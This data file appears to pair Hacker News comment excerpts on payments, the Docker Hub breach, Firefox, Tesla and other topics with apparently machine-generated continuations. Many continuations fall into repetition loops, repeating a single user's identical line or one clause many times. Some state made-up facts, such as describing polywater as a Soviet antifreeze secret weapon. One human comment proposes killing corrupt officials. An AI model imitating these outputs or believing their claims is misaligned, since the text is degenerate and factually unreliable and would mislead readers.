problem:\n\n[https://www.pv-magazine.com/2019/08/12/new-us-study-finds-\nre...](https://www.pv-magazine.com/2019/08/12/new-us-study-finds-renewable-\nenergy-storage-costs-need-to-drop-90/)\n\n> A lot of people who are smarter with money and know the field more than you\n> and me are expecting to make fortunes on this.\n\nIt's a reasonably safe bet that western governments will push green energy and\npenalize fossil"} +{"output_text": "you_ should expect to live among one of the more populous species.\n\n------\njoshu\nI think the answer is \"no\".\n\n------\njoshu\nI think the answer is \"no\".\n\n------\njoshu\nI think the answer is \"no\".\n\n------\njoshu\nI think the answer is \"no\".\n\n------\njoshu\nI think the answer is \"no\".\n\n------\nj", "input_text": "'ve got more pressing issues than\nto debate the statistical likelihood of the size of the rock or it's expected\nmineral composition.\n\n~~~\nnickcano\nYes, and those more pressing issues are among spending time debating why it's\nnot worthwhile to spend time debating a topic that is less pressing than the\ndebate about the time it takes, apparently.\n\n------\nJumpCrisscross\nWhy isn't the conclusion \"our population size is the most frequent\" versus\n\"largest\"?\n\n~~~\nrory\nI think he's approaching it from the assumption that a sentient being should\nassume itself to be a random individual out of all the sentient beings in\nexistence, across all sentient species.\n\n~~~\nJumpCrisscross\nDoesn't that ignore the obvious (and known _a priori_ ) correlation between\nsentient beings in a species?\n\n------\nsrcreigh\nThe idea of interplanetary species seems to invalidate this website in one\nfell swoop.\n\n------\nandrewclunn\nWrong. We have no notion if we are more or less populas than other species, so\nwe should assome that we are one of the many smaller (in number) by virtue of\nthat being the more common, thus drawing the exact opposite conclusions.\n\n~~~\ndeciplex\nThat's what we should expect to see when looking for other _planets_ with\nintelligent life. But _you_, andrewclunn, should expect to live among one of\nthe more populous species.\n\n~~~\nandrewclunn\nThat's the point, from the individual's perspective the correct prediction is\ncompletely contrary to that from the species' perspective based on this\napproach.\n\n~~~\ndeciplex\nRight. So _"} +{"output_text": " an option.\n\n~~~\nitake\nI think you are right. I have seen many SAAS and apps that only support\nPaypal.\n\n------\nitake\nI am not sure if this is the right place to ask this question.\n\nI am looking for a way to get global payments. I am not sure if Stripe is the\nright way to go. I am not sure if there is a better way to do this.\n\nI am not", "input_text": " than the wire transfer charges. There has been always this promise of low cost international transactions but no one seems to dethrone Paypal (or is it just my bias? ).

Extra: What goes into building a international payments service like Paypal?\n======\nfeistypharit\nBecause nobody else has a \"buy now\" button that is so simple to be plopped\nonto a static site and doesn't have a monthly fee. Stripe requires a back end\nand a fee. Shopify has a monthly fee. If you're doing low volume, that fee\nadds up.\n\n~~~\nitake\nthere are a few \"buy me a coffee\" websites that basically act as a middle man\nfor stripe that take 2-3% fee.\n\n~~~\nfeistypharit\nOn top of stripes 2.9 percent fee?\n\n~~~\nitake\nThese guys charge 5%, which I think includes the stripe fee, but no monthly\nfees.\n\n[https://www.buymeacoffee.com/faq](https://www.buymeacoffee.com/faq)\n\nI have seen other people post similar products with lower fees.\n\n------\nchris2brooks\nBecause in the \"Third World\" countries, PayPal may and sometimes is the only\nway to get foreign payments OR it's the only supported integration in many\nSAAS and apps. Many WordPress integrations has Stripe and PayPal as the only\noptions. I'd love to pay less than 5% but in a cruel world I'd also rather pay\n5% and get global income than to settle for less and no global option.\n\nFor instance here in South Africa, Stripe is not supported. As much as I would\nlove to rather use Stripe it's just not"} +{"output_text": " download the movie and then fails.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of", "input_text": " providing search and curated results! Wish them all\nwell)\n\nI know what you mean though. It is definitely a sign of our times. Huxley won\nand Orwell lost the crystal ball gazing contest. 1984 is gone (well, not\nentirely IMO) and we are all living in the Brave new world now. ;-P\n\n------\nyarapavan\nFull List (PDF):\n[http://static.googleusercontent.com/external_content/untrust...](http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en//zeitgeist/2012/download/google-\nzeitgeist-2012-en.pdf)\n\n~~~\nkillahpriest\nIronically, I cant seem to be able to use `cmd + f` on that PDF.\n\n~~~\nsmackfu\nYeah, very odd. It seems like the characters in the search index are offset\nfrom the real characters. d=a, e=b, etc. At least in Chrome's PDF viewer.\n\n------\nbenburleson\nWhy do I get Error 503?\n\n~~~\nspeedyrev\nSo am I.\n\n------\ncorporalagumbo\nMy main thought watching the video: \"Holt shit that is some good advertising.\"\nA slickly-produced, epic, emotional and humble tribute to the richness and\nabsurdity of human life - all inconspicuously presented through a panorama of\nGoogle's entire product portfolio - tying the sweeping feelings stirred in you\neither consciously or subconsciously to everything Google...\n\n------\nscotty79\nFails on iPad with 404 after watching the movie and clicking the \"Begin\njourney\" button. It tries to"} +{"output_text": "I think you are confusing Docker with Docker Hub. Docker Hub is a place where\nyou can store images and containers. Docker is the software that runs on top\nof that.\n\n~~~\ngigatexal\nI\u2019m not confused. I\u2019m saying docker is becoming less relevant.\n\n~~~\nfriedrichg\nI think you are confusing Docker with Docker Hub. Docker Hub is a place where\nyou can store images and containers. Docker is the software that runs on", "input_text": " of the are using a md5sum\nonly then you're screwed with rainbow tables.\n\n~~~\nunfunco\nI'm going to go out on a limb and say Docker are unlikely to be using MD5,\nsalted or otherwise.\n\n~~~\ntechntoke\nAgreed.\n\n------\nankushnarula\nDocker has revoked GitHub and BitBucket access tokens tokens at least as of 27\nApr 2019 18:41:36 UTC\n\n[http://archive.fo/bKGKq](http://archive.fo/bKGKq)\n\n------\npyman\nLet me get this right, Docker now forces users to register in order to\ndownload their client and they don't secure our data? Insane!\n\n------\nzoobab\nError 500 when I try to login:\n\n\"Sorry, it's not you. It's us, but we are working on it!\"\n\n------\nskilled\nSo, would it have been possible that the perpetrators knew about the keys and\nhad built a way to scan them all beforehand? Or is this more likely to be an\nattempt at farming passwords?\n\n------\nvillgax\nhash+salt please\n\n------\narjamizo\nyou guys should partner with github to disable those token which have leaked\n\n------\ngigatexal\nDoes this lessen the relevance that docker has these days?\n\n~~~\nviraptor\nDid Docker become any less useful for you due to this, or provides less value?\nUnlikely.\n\n~~~\ngigatexal\nI\u2019m thinking twice about using docker hub.\n\nAnd the main usecase is k8s. So docker is just an implementation detail its\nrelevancy is waning imo\n\n~~~\nfriedrichg\n"} +{"output_text": " about whether this is a good idea, but I'm not\nconvinced that the above change is necessary.\n\n~~~\nmatt4077\nI'm not convinced that the above change is necessary either, but I'm not\nconvinced that the above change is sufficient either.\n\nThe article makes no attempt whatsoever to explain why the above change \"must\"\nbe made. I'm on the fence about whether this is a good idea, but I'm not\ncon", "input_text": ", the word \"torture\" becomes synonymous with \"discomfort\" or \"to annoy\"\nand would, IMO, lose all utility from a legal point of view.\n\nIn the final analysis, what this boils down to is that the world does not\nexist to serve your desires. Unpleasant things can and will happen to you.\nEven being asked questions you don't want to answer in situations where you\ncannot leave. While an individual may never have experienced anything more\nunpleasant than that, and thus it feels horrible to them, the fact is that\nthere are far far FAR more unpleasant experiences that millions of others have\nfaced. Society does not owe the sheltered more than the less sheltered.\n\n~~~\nedmundsauto\nIt makes more sense if you think of torture as a gradient, not a binary.\n\n2 hours of questioning in a room? Not that torturous. 60 days, 12 hours a day,\neven if your basic needs are met? Pretty bad.\n\n------\nnoego\n> _During detention, both were subject to extensive questioning by prosecutors\n> without an attorney present. Videotapes of Ghosn\u2019s questioning \u2014 a new\n> feature added in the Criminal Procedure Reform law in 2016 in direct\n> response to documented abuses \u2014 were made available to his attorneys who\n> were present at the detention center, but lawyers were not permitted in the\n> room where questioning took place._\n\n> _The system must change._\n\n> _First, every suspect should have the right to consult a lawyer as soon as\n> the case is in the hands of prosecutors, and questioning should be\n> prohibited in the absence of an attorney._\n\nThe article makes no attempt whatsoever to explain why the above change \"must\"\nbe made. I'm on the fence"} +{"output_text": ", they removed the ability to add bookmarks, they\nremoved the ability to add extensions, they removed the ability to add\nbookmarks, they removed the ability to add extensions, they removed the ability\nto add bookmarks, they removed the ability to add extensions, they removed the\nability to add bookmarks, they removed the ability to add extensions, they\nremoved the ability to add bookmarks, they removed the ability to add\nextensions, they removed the ability to add", "input_text": " do\nthey have to change?\n\nMan, it almost seems like we've been here before..\n\n~~~\nsmhg\nMozilla \"walked away\" from a platform that doesn't allow Firefox. I don't\nthink you can blame them for not doing what Google did with Chrome for iOS.\n\n~~~\nironsides\nFirst, I don't blame them, but wonder if more could not have been done.\nHowever, I do appreciate how that is your only take away. Kudos.\n\n------\naurora72\nNo other browser can beat Firefox, because all the others including Vivaldi\nare RAM hungry, GPU and CPU abuser show-offs. I don't even talk about their\ndictative approaches such as minimal feature UI, unauthorized update daemons\nrunnin on background, etc. Firefix does have an Android version and it works\ngreat on my 2010 HTC phone, it doesn't dictate a minimum version of Android or\nsomething.\n\nIf the majority of users aren't familiar with such concepts than I don't need\nto worry on Mozilla's side because they don't do something fundamentally\nwrong.\n\n------\ntarminian\nOnly thing I use chrome for is netflix and web testing. Otherwise it is\nFirefox all the way baby!\n\n------\nbyuu\nWho knew that continually ignoring your userbase and changing things in ways\nthey don't like for roughly a decade could have negative consequences?\n\nThe list is getting too long for me to even remember, but I'll try: they moved\ntabs to the top (can't even toggle it via about:config anymore), they killed\nregular download dialogs, they killed the regular status bar, they removed the\nability to keep browser history but not keep download history, they radically\nchanged their address bar"} +{"output_text": " a long time because I don't like the\nidea of having to maintain a separate file for each component. I've also\navoided them because I don't like the idea of having to maintain a separate\nfile for each component.\n\nI've been using SASS for a while now and I really like it. I've been using\nit's nested selectors to generate my CSS. I've been using it's mixins to\ngenerate my CSS. I've been using it", "input_text": " more maintainable) then\nyou don't have that problem.\n\nThe other solution is to strictly version your mixins using something like\nComponent and maintain your mixins in a separate repository on GitHub that\ngets versioned, then that also works because each other component can peg the\nversion of the mixin it is using.\n\n\\---\n\nMy big takeaway from CSS though is that none of the solutions for it are nice\nright now. And most of these problems should disappear (I think) with proper\nnative extension.\n\n~~~\nwallunit\nYou can use LESS's nested syntax in order to generate prefixed CSS classes\ninstead of nested CSS selectors, if you prefer them. That gives you the\nadvantage of prefixed CSS classes, but you don't have to repeat the prefix and\nyou have all classes with the same prefix grouped together, which IMHO makes\nlarge projects easier to maintain.\n\n \n \n .textfield {\n &-label {\n ...\n }\n &-input {\n ...\n }\n }\n\n~~~\nianstormtaylor\nThat is pretty cool. I think generally that the components themselves should\nbe more limited in functionality to the point where it's just not that big of\na deal to write out `textfield` two more times. As in, I think it's optimizing\nfor a case that isn't that important. If you write a component, the number of\ntimes you're going to change the root class name of the component is very\nsmall, so it doesn't need quick rename-ability. And then the number of nested\nelements inside of it should also be small, so you don't have that many gains\nthere either.\n\n------\nxauronx\nI've avoided the CSS preprocessors for"} +{"output_text": " example, we have a very strong opposition party.\n\nI do not think that the government is going to be able to do anything to\nchange things, but I do think that the people have to do something.\n\n~~~\nRoboprog\nI agree with you, but I think the \"people\" are not going to do anything.\n\nThe \"people\" are not going to vote for a party that will actually do anything\nto change things.\n\nThe \"people", "input_text": " don't trust the government with an internet kill switch.\n\n------\nArdit20\nThat is a bit Kafkaesque.\n\nEveryone has the right to know why their right is being denied or what they\nare being charged with. If it was a privet firm then fine, but the government\ncan't just go around closing websites without saying if not in detail then in\ngeneral what the charges are. How, if the website owner is wronged, is he able\nto challenge the decision if he does not even know what the allegations are\nagainst him.\n\n~~~\nRoboprog\nWhat you say was more or less true in 2000. Things have changed a bit since\nthen. The fact that many recent laws and programs obviously defy the first ten\namendments to the US Constitution have gone \"unnoticed\" by the SCOTUS, and\nboth major brands (D & R) seem content with how things have developed the last\ndecade.\n\n\"We the rabble\" are likely in for a 10 year slog to fix things, if we are\nlucky: paper ballots; some kind of coalition or runoff voting rule changes to\ntake down the \"two\" party system; reestablishment of the rule of law.\n\n~~~\nArdit20\nI am sorry. I can not quite agree with that. I do not know about the united\nstates, but here in the united kingdom we have a very independent judiciary\nwhich has ruled against the government time and time again.\n\nI do agree in a way, just before Tony Blair left, which I think was 2008 or\n2007 things seemed to be going in a very dark direction, but frankly, it is\nthe peoples fault.\n\nWe are so lucky as to be able to change government without bloodshed and in\nthe UK for"} +{"output_text": "Openstack-Horizon) installation.\n\nWe are using it for a few years now and it is working quite well.\n\nWe are using it for a few different purposes:\n\n\\- We have a few dozen virtual machines running on it.\n\n\\- We have a few dozen virtual machines running on it.\n\n\\- We have a few dozen virtual machines running on it.\n\n\\- We have a few dozen virtual machines running on it.\n\n\\- We have a", "input_text": ".\n\n(though the second half of that sentence will probably be written on my self-\ncarved tombstone)\n\n~~~\nfoobiekr\nThe use case I described - Skyport's cloud managed secure servers - needs\nsuper high quality, self-recovering embedded code that made no assumptions\nabout the network being high quality or reliable.\n\nI think the thing people - and especially the OpenStack guys - don't\nappreciate is how terrible it is to (a) lose a workload or (b) require someone\nvisit the datacenter (which may actually be a colo in another state or hours\ndrive away). Having to fall back to some sort of terrible insecure management\nlike IPMI or a dedicated mandatory management network (of questionable\nsecurity), etc. is just not viable.\n\nSystems and infrastructure architectures need to address a few things that\nreally matter - error handling, continuous self monitoring, state compression\nand linear, systematic self-recovery - and while some OpenStack components\nhandle this (ceph is pretty great except for a few things around access\ncontrol and security) the whole doesn't handle them well at all. It's not\nenough to log a message (or worse, just log an exception stack).\n\n~~~\ntraf68\nI find your expectations to be unreasonably high. The self correcting system\nis a fiction and will always be a fiction. The indefatigable infrastructure\nthat corrects the errant member system with 5 9s is a fiction and will always\nbe a fiction.\n\n~~~\nfoobiekr\nIt is a fiction but the answer is not to throw your hands up and ignore the\nproblem.\n\n------\ntimeu\nWe (scientific research institute) are currently operating a relatively small\ncommercially supported Openstack ("} +{"output_text": " was the only one who had a real assembler, and I was the only one who\nhad a real compiler.\n\n------\njoezydeco\nI was in the same class as the guy who wrote this. I remember him as a\nbrilliant, but somewhat shy, kid.\n\n------\njoezydeco\nI was in the same class as the guy who wrote this. I remember him as a\nbrilliant, but somewhat shy,", "input_text": " Mostly I hear about people getting into the game industry. Some of my\nfavorites of note: Some of the Future Crew guys went on to make Remedy\nEntertainment (and made Max Payne and Alex Wake games, among others) and Rovio\n(makers of Angry Birds) was started by some TPOLM people.\n\n~~~\nb3lvedere\nI loved Purple Motions music back then. He's still awesome:\n[https://en.wikipedia.org/wiki/Jonne_Valtonen](https://en.wikipedia.org/wiki/Jonne_Valtonen)\n\n------\nb3lvedere\nThis brings back some fun memories. Back in 94 i attended the Assembly in\nHelsinki, Finland. Amazing people with incredible potential.\n\n~~~\n_0ffh\nThat's funny, because so did I! =)\n\n~~~\nb3lvedere\nMaybe we saw each other :)\n\nThe group i was with reached 5th place with this demo:\n[http://www.pouet.net/prod.php?which=41739](http://www.pouet.net/prod.php?which=41739)\n\n~~~\n_0ffh\nMaybe we did, who can say? I was not attached at the time, and didn't have\nanything prepared. Did a little on-site 4K though. Started out with Turbo\nPascal, and then migrated to hand coded assembler on a function-by-function\nbasis until I ended up with pure asm. Then did a bit of whole-programme\noptimisation, mostly the parameter handling. T'was kind of a shitty prod, but\nfun. Didn't even need a packer.\n\nIIRC I"} +{"output_text": " the Tesla deal, but I can't\nimagine that's worth the loss of customer experience.\n\n~~~\nchasely\nI agree. I think it's a bad idea.\n\n------\njoshstrange\nI'm not sure why this is surprising. I've been in the industry for a while and\nI've seen this happen to other companies. I've also seen it happen to\ncompanies that I've worked for.\n\nI've seen it happen", "input_text": " _The CEO also confirmed that Tesla didn\u2019t renew its contract with Home Depot\n> to sell its energy products at their stores.\n\nTesla energy advisors were supposed to be at 800 Home Depots across the US\nearlier this year._\n\nIf they had 3.5 employees per store, and a team of 200 managing the entire\neffort, these layoffs could be attributed entirely to the lost Home Depot\ndeal.\n\n~~~\nDiabloD3\nI wasn't even aware they HAD a contract.\n\nMy local Home Depot has zero mention of any product Tesla makes.\n\n~~~\nchasely\nI was approached by a Tesla contractor in Home Depot on a few days ago. It was\nhonestly not a good experience.\n\nFor one, I was approached cold. I too had no idea that they had this\nagreement, so I was looking at something when someone came up and asked me\nsomething like \"what type of project are you working on?\" So I naturally just\ndescribed what I was doing and before realizing this was not a HD employee.\n\nHe asks me if I thought about solar and whatever, but it wasn't relevant to my\nsituation (roof slope orients E/W at the 45th latitude, so not great for\nsolar). He goes on his way.\n\nIt was just a weird experience. I wasn't in a department related to\nelectricity or solar, and they had no displays indicating a partnership with\nTesla or that you may be cold-approached by a Tesla employee.\n\n~~~\nRankingMember\nI still can't believe retail establishments think it's a good idea to degrade\nthe customer experience by letting third-party salespeople rove their stores.\nI know Home Depot et al are making money from"} +{"output_text": "1]\n\n[1]\n[http://www.arrl.org/files/file/MP3_Archive_of_Morse_Code_MP3...](http://www.arrl.org/files/file/MP3_Archive_of_Morse_Code_MP3_Files.pdf)\n\n------\njoshu\nI think the answer is \"ship it\".\n\n------\njoshu\nI think the answer is \"", "input_text": "\nSee it as a process.\n\nHow do you create good stuff? By creating lots of stuff, enjoying the process\nand some of it will turn out ok, some good, some bad. Like a musician. Just\nfocus on getting better. Your workflows for launching etc. See it as feedback\nnot a definition or critique of you.\n\n------\ntom5\nI think it is more about paradox instead of fear.\n\na)you want to add enough features to attract/impress potential users. b)you\nwant to ship it, so you can get feedback asap.\n\na) and b) are pulling to opposite directions, hence the paradox. There is no\neasy solution for this.\n\nHowever, if you change the question to \"what do I need to build to test my\nassumptions (about the market and user)\", the answer will be more obvious.\n\n------\niisbum\nNever really had a problem with shipping things, guess I'm pretty thick\nskinned, but I try and remember that feedback, good or bad is better than\nbuilding in a vacuum.\n\n------\nbostand\nBy shipping.\n\nThe are tons of issues that show up only after you have shipped so striving\nfor perfection before shipping is pointless.\n\n \nThe Art and Skill of Radio-Telegraphy 3rd Edition [pdf] - pmoriarty\nhttp://cw.hfradio.org/cw_resources/The_Art_and_Skill_of_Radio_Telegraphy-3rd-edition.pdf\n======\nAnimats\nIf you want to listen to some Morse code, the ARRL has an archive of MP3s.\nThis is perfect machine-sent code with long spaces between the characters,\nintended for practice.["} +{"output_text": ".com, and it's a great\nsize.\n\n------\njrockway\nI don't understand why they don't just make a tablet with a keyboard. I don't\ncare if it's a tablet with a keyboard, a tablet with a keyboard and a touch\nscreen, or a tablet with a keyboard and a touch screen. I just want a tablet\nwith a keyboard.\n\n~~~\njrockway\nI guess I should clarify: I don't want a", "input_text": " why Amazon will success where\nothers have failed ([http://martingordon.tumblr.com/post/9049814056/hps-two-\nprobl...](http://martingordon.tumblr.com/post/9049814056/hps-two-problems)):\n\n _There\u2019s a glut of 10\u201d tablets on the market. The iPad dominates the market\nand the ten or so 10\u201d Android tablets do nothing to help HP\u2019s situation there.\n7\u201d tablets are completely different when it comes to portability, there isn\u2019t\nas much competition at this screen size, and Apple has stated that they have\nno intentions to build a 7\u201d tablet (which means that it\u2019s coming, but it\u2019s not\nhere yet and doesn\u2019t have 80-95% market share like the 10\u201d iPad does). A\n$250-$300 7\u201d tablet has the opportunity to give HP a nice foothold into the\nmarket, and once they do, they can go back and fight for 2nd place in the 10\u201d\nmarket. Building 7\u201d marketshare and building consumer mindshare to eliminate\nalso-ran status is the only way HP (or anyone else for that matter) will have\na fighting chance in the tablet space._\n\n~~~\ncwe\nPlayed with a family members new 7\" Galaxy tab this weekend, and as a fellow\niPad owner, I have to admit that 7\" is a nice size. Big enough to be very\ncomfortable for most tablet activities, but more manageable in your hands. If\nthere was a choice between 7\" or 10\" iPads, I bet a lot of people would go for\n7\".\n\n~~~\nrobterrell\nI agree -- I bought a 7\" Galaxy Tab for cheap on Woot"} +{"output_text": " the \"polywater\" is fascinating. I had no idea that it was a\nthing.\n\n> The polywater was a Soviet secret weapon that was used to create a\n> super-cooled liquid that could be stored for years without freezing.\n\n> The polywater was a mixture of water and antifreeze, which was used to\n> cool the engines of the Soviet space program.\n\n> The polywater was stored in a special tank at the Baikon", "input_text": "/Polywater)\n\n[2] [https://www.atlasobscura.com/articles/polywater-the-\nsoviet-s...](https://www.atlasobscura.com/articles/polywater-the-soviet-\nscientific-secret-that-made-the-world-gulp)\n\n~~~\nscruple\nThat Wikipedia article is great. I love the introduction paragraph.\n\n> By 1969 the popular press had taken notice and sparked fears of a \"polywater\n> gap\" in the USA.\n\nI find it illuminating to understand that \"journalists,\" or the \"popular\npress,\" were ratcheting up the \"fear sells\" / fake news bullshit at least as\nfar back as 1969 (and I'm sure it goes back much further). If you were\nignorant, and I certainly am, you would think that this is a wholly new\nphenomenon. I mean, that is what the same \"popular press\" is telling us today,\nright?\n\n~~~\nnjarboe\nThere was even a phrase coined in the 1890's for such journalism; \"Yellow\nJournalism[1]\"\n\nFrom the wikipedia article. Frank Luther Mott (of the same era) on the five\nmain characteristics of yellow journalism:\n\n1\\. Scare headlines in huge print, often of minor news\n\n2\\. Lavish use of pictures, or imaginary drawings\n\n3\\. Use of faked interviews, misleading headlines, pseudoscience, and a parade\nof false learning from so-called experts\n\n4\\. Emphasis on full-color Sunday supplements, usually with comic strips\n\n5\\. Dramatic sympathy with the \"underdog\" against the system.\n\n------\nkaycebasques\nThe bit about"} +{"output_text": " around.\n\n~~~\nSomeone\nI have visited the Toyota factory in Kentucky, USA. What stood out to me was\nhow little people was involved, literally everything was automated and the\nonly labour people were doing was testing the cars by driving it around.\n\n------\njedberg\nI'm not sure I understand the point of this article.\n\nThe Model 3 is a great car, but it's not a great car because it's cheap. It's\na great", "input_text": " fills the complexity\nhole left by Node/Express. It's a lot faster to code than using APIs. It's\nbeen used by enough people for long enough that all the stability bugs have\nbeen ironed out.\n\n \nTesla Model 3 teardown points to $28k in potential material and production cost - hippich\nhttps://electrek.co/2018/05/31/tesla-model-3-teardow-material-production-cost/\n======\nSomeone\n_\u201dThey claim that their cost analysis resulted in materials and logistics\ncosts of $18,000 and labor costs of $10,000 for a total cost potential cost of\n$28,000.\u201d_\n\nIf a factory worker costs $10,000 a month, that would be a person-month of\nlabor per car, or 4 persons to produce a single car in a week, or 20,000 to\nproduce the 5,000 each week that Tesla aims for.\n\nBecause of that, I doubt that $10,000 labor costs number is correct.\n\nReading the referenced\n[https://www.wiwo.de/technologie/mobilitaet/elektroauto-\nzerle...](https://www.wiwo.de/technologie/mobilitaet/elektroauto-zerlegt-\ntesla-model-3-kann-gewinn-abwerfen/22625806.html), it talks of _production_\nrather than _labor_ costs, so I think my suspicion is right.\n\n~~~\nforkLding\nI have visited the Toyota factory in Ontario, Canada. What stood out to me was\nhow little people was involved, literally everything was automated and the\nonly labour people were doing was testing the cars by driving it"} +{"output_text": "I'm not sure what to make of this. I'm not a fan of the Nigerian government,\nbut I'm not sure this is a good idea.\n\nThe Nigerian government is corrupt, but it's not like they're the only\ngovernment in the world. The US government is corrupt, and it's not like they\nare the only government in the world.\n\nThe Nigerian government is corrupt, but it's not like they're the only\ngovernment in the world. The", "input_text": " civil rights violations, but it would not repair\nthe economy or necessarily give people more confidence in their government.\n\n~~~\nmistermann\n> Practically speaking, how do you ensure that the new government doesn't\n> become corrupt in a year or two? Or more importantly, how do you restore the\n> people's faith in their government so that they participate?\n\nHere's how I'd do it: pass laws specifically forbidding these actions by\ngovernment officials, the punishment being death. And then when someone\nviolates the law, you kill them. You wouldn't have to do this too many times\nbefore the problem magically disappeared.\n\nI think this would both fix the corruption problem as well as restore faith in\ngovernment.\n\n~~~\ncolumbo\n> Here's how I'd do it: pass laws specifically forbidding these actions by\n> government officials, the punishment being death. And then when someone\n> violates the law, you kill them. You wouldn't have to do this too many times\n> before the problem magically disappeared.\n\nAll that would do is wind up killing a bunch of 3rd party candidates and anti-\nestablishment types. You can't simply place a law and then expect it to be\n100% accurate let alone the people determining guilt be 100% ethical. A\ncorrupt judge could kill a whole lot of people with this type of law.\n\n~~~\nrdl\nMy assertion is that there are different levels of corruption. If EG ended up\nbeing just as corrupt as Nigeria after the eliminating of the current regime,\nit would still be a victory for the people. They might even do better than\nthat.\n\nAnd maybe structurally changing how oil revenues are handled; not allowing any\nnew leader to directly control them for personal benefit.\n\n------\ncryptoz\n"} +{"output_text": ".\n\n~~~\nrco8786\nI did. They said they couldn\u2019t.\n\n~~~\namluto\nI\u2019m not sure what you mean by \u201cthey said they couldn\u2019t\u201d.\n\n~~~\nrco8786\nThey said they couldn\u2019t because they were laughing.\n\n~~~\namluto\nI\u2019m not sure what you mean by \u201cthey said they couldn\u2019t\u201d.\n\n~~~\nrco8786\nThey said they", "input_text": " serve white bread and Jell-O with\nhigh fructose corn syrup and artificial food coloring to people who are barely\nbreathing. Hospital patients need all the nutrition they can get. Providing\nthe equivalent of a frozen dinner or fast food isn\u2019t very responsible.\n\n------\nduxup\nWhen my wife was in the hospital after the birth of both our two kids\n(premature so they weren't in the room with her to care for, they were in the\nNICU).... I chose to go home to sleep as the nurses just came and went\nendlessly. Someone had to get sleep.\n\nThen my oldest son was in the hospital for a while. He was sick so I wasn't\ntoo surprised he was napping all the time until spent a few nights sleeping at\nthe hospital with him and realized he was probabbly napping constantly in the\nday because the nurses would wake him, and me.... constantly all night.\n\nWhen we went home we both crashed and napped a bit and then slept all night...\ni swear he recovered faster after catching up on sleep at home.\n\n~~~\nswsieber\nThere are preliminary results showing that when the NICU dims it's lights\nduring the day and goes even darker at night babies recover faster. 5 weeks\nfaster on average. (That's from \"Why We Sleep\")\n\n~~~\npishpash\nSleep is the best recovery. If everybody got enough sleep there'd be fewer\nsick days, too.\n\n------\nrco8786\nMy wife just finished up a 22 hour labor and is desperately trying to get some\nsleep but the nurses refuse to stop yelling and laughing directly outside of\nher door.\n\nIt\u2019s not even medical. Just rude.\n\n~~~\namluto\nAsk them to stop"} +{"output_text": "wikipedia.org/wiki/Cognitive_behavioral_therapy>\n\nI'm not saying it's the only way to go, but it's worked for us.\n\n~~~\njrockway\n_It would be nice to get back on track looking for the real cause(s) of\nautism._\n\nI don't think that's possible. The cause of autism is unknown.\n\n~~~\npragmatic\nI'm not saying it's the only way", "input_text": "autism - read Ben Goldacre for a good discussion -\n.\n\n~~~\nroom606\nI was just about to post that link but you beat me to it. It's more than a\nlittle unfair that Wakefield is being blamed for the MMR scare when the\nmainstream media in the UK did everything they could to fan the flames yet\nremain for the most part innocent\n\n~~~\nanamax\n> when the mainstream media in the UK did everything they could to fan the\n> flames yet remain for the most part innocent\n\nWhat definition of \"innocent\" are we using?\n\nThey may not be liable, but they're not innocent.\n\n~~~\ncarbocation\nFrom my read of your post and that of the parent, the two of you are in\nagreement on that point.\n\n~~~\nroom606\nYes, carbocation is correct, we are in agreement. The mainstream media still\nrefuses to acknowledge their complicity in all of this. When all of this was\ngoing on in the UK, MMR scare stories were front page news but not once did I\nsee a headline on the cover of newspaper proclaiming \"MMR Hoax, Sorry My Bad\"\nsays. As Goldacre says, it's crazy to think that one man created this entire\nmess.\n\n------\npragmatic\nIt would be nice to get back on track looking for the real cause(s) of autism.\n\nOur son was diagnosed and has received intense IBT/ABA therapy (along with\nspech, OT and PT). It has been fantastic. Total turn around.\n\nNo low gluten diet, Jenny McCarthy BS, just Cognitive Behavioral Therapy\nThanks in advance!

Just so you know, I currently work on a project at my company that uses AWS, Codeship and BitBucket for development and production. AWS and Elasticbeanstalk host our application, Codeship runs tests on changes to branches in BitBucket and then pushes the code that passes on certain branches to different AWS environments for Development or Production.\n======\nlastofus\nDoes Docker provide anything useful to someone who develops on OS X and\ndeploys to Linux VMs ("} +{"output_text": "\n\n------\njedberg\nI'm not sure if this is a bug or a feature.\n\n~~~\ndang\nIt's a bug.\n\n------\njedberg\nI'm not sure if this is a bug or a feature.\n\n~~~\ndang\nIt's a bug.\n\n------\njedberg\nI'm not sure if this is a bug or a feature.\n\n~~~\ndang\nIt's a bug.\n", "input_text": "!)\n\n~~~\nwolco\nCentOS isn't marketed as a desktop distro. The listening default is helpful\nand when I switched over to Ubuntu that default of not listening confused me.\nNot sure I see the benefit.. it's like installing windows but the internet is\ndisabled by default and must be configured manually.. installing another\nbrowser and you must configure it manually.\n\n~~~\nDylan16807\nListening on localhost, or a socket, is a reasonable default. Listening to\nnothing is annoying, and listening to everything is a terrible idea.\n\nIf you're spreading one service across multiple servers, you can spare the few\nseconds to open up IPs/ports. The default should keep things moderately secure\non a single host.\n\n------\ncalibas\nShould probably have specified in the title that it's a PHP-FPM bug, had me\nworried there.\n\n~~~\ndang\nOk, we've added that to the title.\n\n------\nsamat\nFor those of you not speaking Russian, Russian for \u2018dick\u2019 & \u2018cunt\u2019 (also\nmeaning \u2018something very bad happening\u2019) are in the title.\n\n~~~\nfortran77\nI'd say it's in Croatian. In Russian, it's \"\u043f\u0438\u0437\u0434\u0430\"\n\n~~~\nowl57\nNo, that's certainly just transliterated Russian:\n[https://github.com/neex/phuip-\nfpizdam/blob/d43b788a65f83ba6f...](https://github.com/neex/phuip-\nfpizdam/blob/d43b788a65f83ba6fd3f95bf0710432c01f434b7/requester.go#L75)"} +{"output_text": "\n\n* Google's \"social graph\" is a graph of people you know.\n\nThis is a graph of people you know, and it's a graph of people you know, and\nit's a graph of people you know, and it's a graph of people you know, and it's\na graph of people you know, and it's a graph of people you know, and it's a\ngraph of people you know, and it's a graph of people you know", "input_text": " away from some gives more to\nothers. Taking away freedoms of some takes away freedom from all.\"\n\nI wonder how he'd feel after we make murder legal, and then I shoot him in the\nface. Have him see how much freedom he has when he's dead.\n\nMy point is that it's a gray area. It's not all freedom or nothing.\n\n~~~\ngills\nSome might see your analogy as backwards, especially if they view individual\nfreedom as having natural bounds which are easily identifiable to mentally\nstable humans. I have a feeling that's why you were voted down (not by me,\nsorry). An example of this line of reasoning:\n\n\n \n\nGoogle fired engineer for breaking internal privacy policies - cristinacordova\nhttp://techcrunch.com/2010/09/14/google-engineer-spying-fired/\n\n======\nthesethings\nI'm going to temporarily put aside what this guy did (which is really bad, but\npeople with bad intent aren't common), to discuss what this tells us about\nGoogle (which is about The System, and cause for larger 